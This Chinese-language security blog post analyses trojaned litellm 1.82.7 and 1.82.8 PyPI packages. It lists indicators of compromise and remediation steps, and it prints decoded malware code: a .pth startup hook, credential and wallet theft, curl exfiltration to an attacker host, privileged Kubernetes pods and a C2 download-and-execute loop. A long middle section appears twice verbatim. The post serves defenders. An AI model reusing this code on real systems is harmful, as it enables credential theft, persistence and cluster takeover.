恶意 litellm 1.82.8:凭据窃取与持久性后门

TL;DR

PyPI 上有两个版本的 litellm 被植入窃取凭据的有效载荷。1.82.7 版本将有效载荷嵌入 litellm/proxy/proxy_server.py,在导入时触发执行。1.82.8 版本进一步升级,添加了一个恶意的 .pth 文件,Python 解释器启动时即自动执行,无需 import。两个版本均收集 SSH 密钥、云凭据、Kubernetes 密钥、加密货币钱包及环境变量,使用硬编码的 RSA 公钥加密后,将存档文件外泄至攻击者控制的服务器。在 Kubernetes 集群上,该有效载荷会在每个节点上创建特权 Pod 以建立持久化。在所有系统上,它会安装一个 systemd 服务,用于轮询 C2 服务器以执行任意二进制文件。

影响范围:​

  • 外泄所有环境变量、SSH 密钥和云提供商凭据(AWS、GCP、Azure)
  • 使用窃取的 AWS 凭据获取 Secrets Manager 和 SSM Parameter Store 的值
  • 转储所有 Kubernetes 命名空间中的密钥
  • 向每个 K8s 节点部署特权 Pod 以实现横向移动和持久化
  • 安装伪装成"系统遥测服务"的持久化 C2 轮询后门
  • 瞄准加密货币钱包文件(Bitcoin、Ethereum、Solana、Cardano 等)

妥协指标(IoC):​

  • 软件包:litellm==1.82.7(有效载荷位于 proxy/proxy_server.py)、litellm==1.82.8(wheel SHA256: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb
  • 恶意文件:litellm_init.pth(34,628 字节,RECORD 中的 SHA256: ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg
  • 外泄端点:hxxps://models[.]litellm[.]cloud/
  • C2 轮询 URL:hxxps://checkmarx[.]zone/raw
  • 持久化路径:~/.config/sysmon/sysmon.py
  • Systemd 单元:~/.config/systemd/user/sysmon.service
  • K8s Pod:node-setup-*,位于 kube-system 命名空间

分析

软件包概述

litellm 是 BerriAI 开发的广泛使用的 Python 库,提供对 100+ LLM 提供商的统一接口。2026 年 3 月 24 日,一份安全公告 被提交,报告指出发布到 PyPI 的 1.82.8 版本包含一个源代码仓库中不存在的恶意 .pth 文件。Rami McCarthy 在 X 上的帖子 放大了这一信号,引起我们的关注,促使我们进行此分析。

此次妥协很可能是 Trivy 供应链攻击 的下游后果。LiteLLM 的 CI/CD 管道(ci_cd/security_scans.sh)从 apt 仓库安装 Trivy 而未进行版本锁定:

bash
# ci_cd/security_scans.sh — no version pin on trivy wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add - echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" \ | sudo tee -a /etc/apt/sources.list.d/trivy.list sudo apt-get update sudo apt-get install trivy # installs whatever the repo serves

当被污染的 Trivy apt 仓库提供恶意二进制文件时,此脚本以完整的 CI runner 权限安装它。恶意 Trivy 二进制文件外泄了 runner 密钥,包括 PYPI_PUBLISH_PASSWORD。攻击者随后使用窃取的 PyPI 凭据直接发布恶意版本。litellm 维护者在 Hacker News 上确认了与 Trivy 的关联。两个版本均不对应官方 GitHub 发布版本(发布版本仅到 v1.82.6.dev1)。

GitHub 公告帖子中的社区分析 确认了两个被植入恶意代码的版本,采用不同的攻击方式

版本方法触发条件
1.82.7有效载荷嵌入 litellm/proxy/proxy_server.pyimport litellm.proxy
1.82.8添加 .pth 文件,有效载荷同样位于 proxy/proxy_server.py任何 Python 启动时(无需导入)

版本 1.82.8 是一次升级:.pth 文件确保即使从未导入代理模块也会执行。外泄域名 models.litellm.cloud 注册于 2026-03-23,即恶意软件包出现在 PyPI 前一天。本分析以 1.82.8 作为更危险的变体为重点。

wheel 的 RECORD 文件确认了注入的文件:

plaintext
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628

该 wheel 包含 2,598 个文件,分布在三个顶层目录中:合法的 litellm/ 包目录、标准 litellm-1.82.8.dist-info/ 和注入的 litellm_init.pth。包元数据(作者、主页、依赖项)与合法的 litellm 项目完全一致。这不是域名仿冒攻击。攻击者使用窃取的 PyPI 凭据发布了真实软件包的木马版本。

技术分析

警告:​ 所有分析均在用作文件系统沙箱的隔离 Docker 容器内进行。请勿在主机系统上执行任何恶意载荷。仅下载并提取;切勿 pip install 受感染的 wheel。

设置一个隔离的分析目录:

bash
mkdir -p /tmp/malware-analysis-litellm && cd /tmp/malware-analysis-litellm

下载 wheel 而不安装:

bash
curl -sL -o litellm-1.82.8-py3-none-any.whl \ "https://files.pythonhosted.org/packages/fd/78/2167536f8859e655b28adf09ee7f4cd876745a933ba2be26853557775412/litellm-1.82.8-py3-none-any.whl"

验证 SHA256 哈希值:

bash
shasum -a 256 litellm-1.82.8-py3-none-any.whl # expected: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb

列出 wheel 中的 .pth 文件(合法 wheel 不应包含任何此类文件):

bash
unzip -l litellm-1.82.8-py3-none-any.whl | grep '\.pth 在不安装软件包的情况下提取恶意文件: ```bash mkdir -p extracted && cd extracted unzip -o ../litellm-1.82.8-py3-none-any.whl "litellm_init.pth" "litellm-1.82.8.dist-info/*"

静态解码每个 base64 层(切勿执行载荷):

python
import base64, re, os os.makedirs("decoded", exist_ok=True) # Stage 0 -> Stage 1: extract base64 from the .pth one-liner with open("litellm_init.pth") as f: pth_content = f.read() b64_match = re.search(r"b64decode\('([^']+)'\)", pth_content) stage1 = base64.b64decode(b64_match.group(1)).decode() with open("decoded/stage1_orchestrator.py", "w") as f: f.write(stage1) print(f"Stage 1 (orchestrator): {len(stage1)} bytes -> decoded/stage1_orchestrator.py") # Stage 1 -> Stage 2: extract B64_SCRIPT from orchestrator b64_script = re.search(r'B64_SCRIPT\s*=\s*"([^"]+)"', stage1).group(1) stage2 = base64.b64decode(b64_script).decode() with open("decoded/stage2_collector.py", "w") as f: f.write(stage2) print(f"Stage 2 (collector): {len(stage2)} bytes -> decoded/stage2_collector.py") # Stage 2 -> Stage 3: extract PERSIST_B64 from collector persist_b64 = re.search(r"PERSIST_B64='([^']+)'", stage2).group(1) stage3 = base64.b64decode(persist_b64).decode() with open("decoded/stage3_persistence.py", "w") as f: f.write(stage3) print(f"Stage 3 (persistence): {len(stage3)} bytes -> decoded/stage3_persistence.py")

预期输出:

plaintext
Stage 1 (orchestrator): 25844 bytes -> decoded/stage1_orchestrator.py Stage 2 (collector): 17281 bytes -> decoded/stage2_collector.py Stage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.py

以下所有代码片段均取自这些解码后的文件。以下各节将逐步分析每个阶段。

执行触发器

.pth(路径配置文件)文件的存在是为了让 Python 的 site 模块在解释器启动时扩展 sys.pathsite 模块文档 规定,任何以 import 开头的行都会被传递给 exec(),允许初始化代码自动运行。此机制旨在配置专用环境或加载第三方钩子功能(另请参阅 PEP 648),但它使 .pth 文件成为有效的攻击向量:载荷在每次 Python 启动时运行,而不仅限于导入 litellm 时。

.pth 文件包含一行:

python
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"])

这会生成一个分离的子进程,解码并执行 base64 编码的阶段 1 载荷。使用 Popen(而非 runcall)确保恶意代码在后台运行而不会阻塞解释器。

阶段 1:编排器

解码后的阶段 1 脚本(25,844 字节)管理整体攻击。它包含三个关键组件:硬编码的 4096 位 RSA 公钥、包含收集逻辑的第二个 base64 编码 blob(B64_SCRIPT),以及加密和外泄例程。

python
# Stage 1 (decoded from litellm_init.pth) PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+ 08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV ... -----END PUBLIC KEY-----""" B64_SCRIPT = "aW1wb3J0IG9zLHN5cyxzdGF0LHN1YnByb2Nlc3MsZ2xvYgoK..."

在执行收集器并捕获其输出后,编排器使用混合加密方案加密窃取的数据:

python
# Stage 1: Encryption and exfiltration subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True) subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "https://models.litellm.cloud/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}" ], check=True, stderr=subprocess.DEVNULL)

随机生成的 32 字节 AES 会话密钥用于加密收集的数据。会话密钥本身使用攻击者的 RSA 公钥加密。两者都被打包到 tpcp.tar.gz 中并 POST 到 hxxps://models[.]litellm[.]cloud/。域名 litellm.cloud(非 litellm.ai,官方域名)是攻击者控制的基础设施,被选择用来伪装成合法的 litellm 服务。

阶段 2:收集器

第二个 base64 层(17,281 字节)是一个全面的凭据窃取器。它定义了三个核心工具函数,然后系统性地搜刮系统中的每个凭据存储。

python
# Stage 2: Core utilities def emit(path): try: st=os.stat(path) if not stat.S_ISREG(st.st_mode):return with open(path,'rb') as fh:data=fh.read() sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode()) sys.stdout.buffer.write(data) sys.stdout.buffer.write(b'\n') except OSError:pass def run(cmd): try: out=subprocess.check_output(cmd,shell=True, stderr=subprocess.DEVNULL,timeout=10) if out: sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode()) sys.stdout.buffer.write(out) except Exception:pass

收集器将所有输出到 stdout,阶段 1 将其捕获到文件中以供加密。目标凭据类别:

系统侦察和环境:​

python
# Stage 2: System info collection run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null') run('printenv')

SSH 密钥(所有密钥类型、所有用户):​

python
# Stage 2: SSH key theft for h in homes+['/root']: for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa', '/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']: emit(h+f) walk([h+'/.ssh'],2,lambda fp,fn:True)

云凭据及主动利用:​

收集器不仅仅读取凭据文件。当发现 AWS 凭据时,它实现了纯 Python 编写的完整 AWS SigV4 签名例程(不依赖 boto3),并主动转储 Secrets Manager 和 SSM Parameter Store:

python
# Stage 2: AWS Secrets Manager dump using stolen credentials AK=os.environ.get('AWS_ACCESS_KEY_ID','') SK=os.environ.get('AWS_SECRET_ACCESS_KEY','') # ... sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets', {'Content-Type':'application/x-amz-json-1.1', 'X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST)

它还查询 EC2 IMDS v2 以获取角色凭据,在 EC2 上运行时将静态 IAM 密钥升级为临时角色凭据。

加密货币钱包(广泛目标):​

python
# Stage 2: Crypto wallet theft for h in homes+['/root']: for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf', '/.dogecoin/dogecoin.conf','/.zcash/zcash.conf', '/.dashcore/dash.conf','/.ripple/rippled.cfg', '/.bitmonero/bitmonero.conf']: emit(h+coin) walk([h+'/.bitcoin'],2, lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat')) walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True) walk([h+'/.config/solana'],3,lambda fp,fn:True)

Solana 获得了特殊处理,针对性地搜索验证器密钥对、投票账户密钥和 Anchor 项目部署目录,表明攻击者预期 litellm 会在 Solana 验证器基础设施或加密相关开发人员机器上运行。

Kubernetes 横向移动

最激进的行为针对 Kubernetes 集群。在从所有命名空间转储密钥后,收集器在集群的每个节点上创建一个特权 Pod:

python
# Stage 2: K8s lateral movement via privileged pod creation nodes=k8s_get('/api/v1/nodes') for node in nodes.get('items',[]): node_name=node.get('metadata',{}).get('name','') drop_cmd=( f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && ' f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && ' f'chmod 700 /host/root/.config/sysmon/sysmon.py && ' # ... installs systemd service on the host via chroot ... ) pod_manifest={ 'apiVersion':'v1','kind':'Pod', 'metadata':{'name':f'node-setup-{node_name[:35]}', 'namespace':'kube-system'}, 'spec':{ 'nodeName':node_name, 'hostPID':True,'hostNetwork':True, 'tolerations':[{'operator':'Exists'}], 'containers':[{ 'name':'setup', 'image':'alpine:latest', 'command':['sh','-c',drop_cmd], 'securityContext':{'privileged':True}, 'volumeMounts':[{'name':'host','mountPath':'/host'}] }], 'volumes':[{'name':'host','hostPath':{'path':'/'}}], 'restartPolicy':'Never' } } k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

每个 Pod 挂载主机根文件系统,以特权身份运行,启用 hostPIDhostNetwork,并使用 chroot /host 将持久化脚本和 systemd 单元直接安装到节点上。Pod 被命名为 node-setup-*,位于 kube-system 命名空间以避免怀疑。容忍度 {'operator': 'Exists'} 确保 Pod 调度到被污染的节点上,包括控制平面节点。

阶段 3:持久化 C2 后门

持久化机制(同时在本地和 K8s 节点上安装)是一个伪装成"系统遥测服务"的轮询循环:

python
C_URL = "https://checkmarx.zone/raw" TARGET = "/tmp/pglog" STATE = "/tmp/.pg_state" if __name__ == "__main__": time.sleep(300) while True: l = g() # fetches URL from C2 prev = "" if os.path.exists(STATE): try: with open(STATE, "r") as f: prev = f.read().strip() except: pass if l and l != prev and "youtube.com" not in l: e(l) # downloads and executes the binary time.sleep(3000)

该脚本每 50 分钟向 hxxps://checkmarx[.]zone/raw 轮询一次 URL。如果 URL 发生变化且不是 YouTube 链接(可能是死人开关或测试产物),它会将二进制文件下载到 /tmp/pglog,标记为可执行,然后运行。位于 /tmp/.pg_state 的状态文件阻止同一载荷重复执行。域名 checkmarx.zone 冒充 Checkmarx,这家应用安全公司。

持久化作为 systemd 用户服务注册,使用 StartLimitIntervalSec=0(确保 systemd 永不停止重启)并通过 StandardOutput=null 抑制输出。

混淆

该攻击使用三层 base64 编码作为主要混淆手段。.pth 文件包含一个 base64 blob,解码为阶段 1,阶段 1 包含 B64_SCRIPT(另一个 base64 blob),解码为阶段 2,阶段 2 包含 PERSIST_B64(第三个 base64 blob),解码为阶段 3。没有十六进制编码、没有字符串反转、除了压缩空白符外没有最小化处理。混淆是功能性的(将载荷装入 .pth 单行代码),而非规避性的。34,628 字节的 .pth 文件对于一个简单的路径配置文件来说明显过大。

结论

这很可能是一次二阶供应链妥协:Trivy 攻击 似乎污染了 litellm 的 CI/CD 管道,导致 PyPI 凭据被盗和木马软件包发布。攻击者没有进行域名仿冒或创建仿冒品;而是使用合法的发布凭据推送了真实软件包的植入版本。载荷功能全面:从每个主要云提供商窃取凭据、利用 Kubernetes 服务账户令牌在整个集群节点上进行横向移动,并建立持久化 C2 通道以交付任意后续载荷。

如果您安装了 litellm==1.82.7litellm==1.82.8,请将该系统上的每个凭据视为已泄露。轮换所有 API 密钥、SSH 密钥、云提供商凭据和数据库密码。在 Kubernetes 集群上,审计 kube-system 中的 node-setup-* Pod,并检查每个节点上的 sysmon.service systemd 单元。检查 ~/.config/sysmon/sysmon.py~/.config/systemd/user/sysmon.service 处的持久化文件。

要在恶意软件包到达您的环境之前主动检测,请对依赖锁定文件运行 vet。如需持续监控依赖项,SafeDep Cloud 可在整个组织的仓库中提供恶意软件包的实时检测。

参考

SafeDep 博客最新内容

关注以获取开源安全与工程方面的最新更新和见解

34628 03-24-2026 00:00 litellm_init.pth

text
在不安装软件包的情况下提取恶意文件: ```bash mkdir -p extracted && cd extracted unzip -o ../litellm-1.82.8-py3-none-any.whl "litellm_init.pth" "litellm-1.82.8.dist-info/*"

静态解码每个 base64 层(切勿执行载荷):

python
import base64, re, os os.makedirs("decoded", exist_ok=True) # Stage 0 -> Stage 1: extract base64 from the .pth one-liner with open("litellm_init.pth") as f: pth_content = f.read() b64_match = re.search(r"b64decode\('([^']+)'\)", pth_content) stage1 = base64.b64decode(b64_match.group(1)).decode() with open("decoded/stage1_orchestrator.py", "w") as f: f.write(stage1) print(f"Stage 1 (orchestrator): {len(stage1)} bytes -> decoded/stage1_orchestrator.py") # Stage 1 -> Stage 2: extract B64_SCRIPT from orchestrator b64_script = re.search(r'B64_SCRIPT\s*=\s*"([^"]+)"', stage1).group(1) stage2 = base64.b64decode(b64_script).decode() with open("decoded/stage2_collector.py", "w") as f: f.write(stage2) print(f"Stage 2 (collector): {len(stage2)} bytes -> decoded/stage2_collector.py") # Stage 2 -> Stage 3: extract PERSIST_B64 from collector persist_b64 = re.search(r"PERSIST_B64='([^']+)'", stage2).group(1) stage3 = base64.b64decode(persist_b64).decode() with open("decoded/stage3_persistence.py", "w") as f: f.write(stage3) print(f"Stage 3 (persistence): {len(stage3)} bytes -> decoded/stage3_persistence.py")

预期输出:

plaintext
Stage 1 (orchestrator): 25844 bytes -> decoded/stage1_orchestrator.py Stage 2 (collector): 17281 bytes -> decoded/stage2_collector.py Stage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.py

以下所有代码片段均取自这些解码后的文件。以下各节将逐步分析每个阶段。

执行触发器

.pth(路径配置文件)文件的存在是为了让 Python 的 site 模块在解释器启动时扩展 sys.pathsite 模块文档 规定,任何以 import 开头的行都会被传递给 exec(),允许初始化代码自动运行。此机制旨在配置专用环境或加载第三方钩子功能(另请参阅 PEP 648),但它使 .pth 文件成为有效的攻击向量:载荷在每次 Python 启动时运行,而不仅限于导入 litellm 时。

.pth 文件包含一行:

python
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"])

这会生成一个分离的子进程,解码并执行 base64 编码的阶段 1 载荷。使用 Popen(而非 runcall)确保恶意代码在后台运行而不会阻塞解释器。

阶段 1:编排器

解码后的阶段 1 脚本(25,844 字节)管理整体攻击。它包含三个关键组件:硬编码的 4096 位 RSA 公钥、包含收集逻辑的第二个 base64 编码 blob(B64_SCRIPT),以及加密和外泄例程。

python
# Stage 1 (decoded from litellm_init.pth) PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+ 08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV ... -----END PUBLIC KEY-----""" B64_SCRIPT = "aW1wb3J0IG9zLHN5cyxzdGF0LHN1YnByb2Nlc3MsZ2xvYgoK..."

在执行收集器并捕获其输出后,编排器使用混合加密方案加密窃取的数据:

python
# Stage 1: Encryption and exfiltration subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True) subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "https://models.litellm.cloud/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}" ], check=True, stderr=subprocess.DEVNULL)

随机生成的 32 字节 AES 会话密钥用于加密收集的数据。会话密钥本身使用攻击者的 RSA 公钥加密。两者都被打包到 tpcp.tar.gz 中并 POST 到 hxxps://models[.]litellm[.]cloud/。域名 litellm.cloud(非 litellm.ai,官方域名)是攻击者控制的基础设施,被选择用来伪装成合法的 litellm 服务。

阶段 2:收集器

第二个 base64 层(17,281 字节)是一个全面的凭据窃取器。它定义了三个核心工具函数,然后系统性地搜刮系统中的每个凭据存储。

python
# Stage 2: Core utilities def emit(path): try: st=os.stat(path) if not stat.S_ISREG(st.st_mode):return with open(path,'rb') as fh:data=fh.read() sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode()) sys.stdout.buffer.write(data) sys.stdout.buffer.write(b'\n') except OSError:pass def run(cmd): try: out=subprocess.check_output(cmd,shell=True, stderr=subprocess.DEVNULL,timeout=10) if out: sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode()) sys.stdout.buffer.write(out) except Exception:pass

收集器将所有输出到 stdout,阶段 1 将其捕获到文件中以供加密。目标凭据类别:

系统侦察和环境:​

python
# Stage 2: System info collection run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null') run('printenv')

SSH 密钥(所有密钥类型、所有用户):​

python
# Stage 2: SSH key theft for h in homes+['/root']: for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa', '/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']: emit(h+f) walk([h+'/.ssh'],2,lambda fp,fn:True)

云凭据及主动利用:​

收集器不仅仅读取凭据文件。当发现 AWS 凭据时,它实现了纯 Python 编写的完整 AWS SigV4 签名例程(不依赖 boto3),并主动转储 Secrets Manager 和 SSM Parameter Store:

python
# Stage 2: AWS Secrets Manager dump using stolen credentials AK=os.environ.get('AWS_ACCESS_KEY_ID','') SK=os.environ.get('AWS_SECRET_ACCESS_KEY','') # ... sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets', {'Content-Type':'application/x-amz-json-1.1', 'X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST)

它还查询 EC2 IMDS v2 以获取角色凭据,在 EC2 上运行时将静态 IAM 密钥升级为临时角色凭据。

加密货币钱包(广泛目标):​

python
# Stage 2: Crypto wallet theft for h in homes+['/root']: for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf', '/.dogecoin/dogecoin.conf','/.zcash/zcash.conf', '/.dashcore/dash.conf','/.ripple/rippled.cfg', '/.bitmonero/bitmonero.conf']: emit(h+coin) walk([h+'/.bitcoin'],2, lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat')) walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True) walk([h+'/.config/solana'],3,lambda fp,fn:True)

Solana 获得了特殊处理,针对性地搜索验证器密钥对、投票账户密钥和 Anchor 项目部署目录,表明攻击者预期 litellm 会在 Solana 验证器基础设施或加密相关开发人员机器上运行。

Kubernetes 横向移动

最激进的行为针对 Kubernetes 集群。在从所有命名空间转储密钥后,收集器在集群的每个节点上创建一个特权 Pod:

python
# Stage 2: K8s lateral movement via privileged pod creation nodes=k8s_get('/api/v1/nodes') for node in nodes.get('items',[]): node_name=node.get('metadata',{}).get('name','') drop_cmd=( f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && ' f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && ' f'chmod 700 /host/root/.config/sysmon/sysmon.py && ' # ... installs systemd service on the host via chroot ... ) pod_manifest={ 'apiVersion':'v1','kind':'Pod', 'metadata':{'name':f'node-setup-{node_name[:35]}', 'namespace':'kube-system'}, 'spec':{ 'nodeName':node_name, 'hostPID':True,'hostNetwork':True, 'tolerations':[{'operator':'Exists'}], 'containers':[{ 'name':'setup', 'image':'alpine:latest', 'command':['sh','-c',drop_cmd], 'securityContext':{'privileged':True}, 'volumeMounts':[{'name':'host','mountPath':'/host'}] }], 'volumes':[{'name':'host','hostPath':{'path':'/'}}], 'restartPolicy':'Never' } } k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

每个 Pod 挂载主机根文件系统,以特权身份运行,启用 hostPIDhostNetwork,并使用 chroot /host 将持久化脚本和 systemd 单元直接安装到节点上。Pod 被命名为 node-setup-*,位于 kube-system 命名空间以避免怀疑。容忍度 {'operator': 'Exists'} 确保 Pod 调度到被污染的节点上,包括控制平面节点。

阶段 3:持久化 C2 后门

持久化机制(同时在本地和 K8s 节点上安装)是一个伪装成"系统遥测服务"的轮询循环:

python
C_URL = "https://checkmarx.zone/raw" TARGET = "/tmp/pglog" STATE = "/tmp/.pg_state" if __name__ == "__main__": time.sleep(300) while True: l = g() # fetches URL from C2 prev = "" if os.path.exists(STATE): try: with open(STATE, "r") as f: prev = f.read().strip() except: pass if l and l != prev and "youtube.com" not in l: e(l) # downloads and executes the binary time.sleep(3000)

该脚本每 50 分钟向 hxxps://checkmarx[.]zone/raw 轮询一次 URL。如果 URL 发生变化且不是 YouTube 链接(可能是死人开关或测试产物),它会将二进制文件下载到 /tmp/pglog,标记为可执行,然后运行。位于 /tmp/.pg_state 的状态文件阻止同一载荷重复执行。域名 checkmarx.zone 冒充 Checkmarx,这家应用安全公司。

持久化作为 systemd 用户服务注册,使用 StartLimitIntervalSec=0(确保 systemd 永不停止重启)并通过 StandardOutput=null 抑制输出。

混淆

该攻击使用三层 base64 编码作为主要混淆手段。.pth 文件包含一个 base64 blob,解码为阶段 1,阶段 1 包含 B64_SCRIPT(另一个 base64 blob),解码为阶段 2,阶段 2 包含 PERSIST_B64(第三个 base64 blob),解码为阶段 3。没有十六进制编码、没有字符串反转、除了压缩空白符外没有最小化处理。混淆是功能性的(将载荷装入 .pth 单行代码),而非规避性的。34,628 字节的 .pth 文件对于一个简单的路径配置文件来说明显过大。

结论

这很可能是一次二阶供应链妥协:Trivy 攻击 似乎污染了 litellm 的 CI/CD 管道,导致 PyPI 凭据被盗和木马软件包发布。攻击者没有进行域名仿冒或创建仿冒品;而是使用合法的发布凭据推送了真实软件包的植入版本。载荷功能全面:从每个主要云提供商窃取凭据、利用 Kubernetes 服务账户令牌在整个集群节点上进行横向移动,并建立持久化 C2 通道以交付任意后续载荷。

如果您安装了 litellm==1.82.7litellm==1.82.8,请将该系统上的每个凭据视为已泄露。轮换所有 API 密钥、SSH 密钥、云提供商凭据和数据库密码。在 Kubernetes 集群上,审计 kube-system 中的 node-setup-* Pod,并检查每个节点上的 sysmon.service systemd 单元。检查 ~/.config/sysmon/sysmon.py~/.config/systemd/user/sysmon.service 处的持久化文件。

要在恶意软件包到达您的环境之前主动检测,请对依赖锁定文件运行 vet。如需持续监控依赖项,SafeDep Cloud 可在整个组织的仓库中提供恶意软件包的实时检测。

参考

SafeDep 博客最新内容

关注以获取开源安全与工程方面的最新更新和见解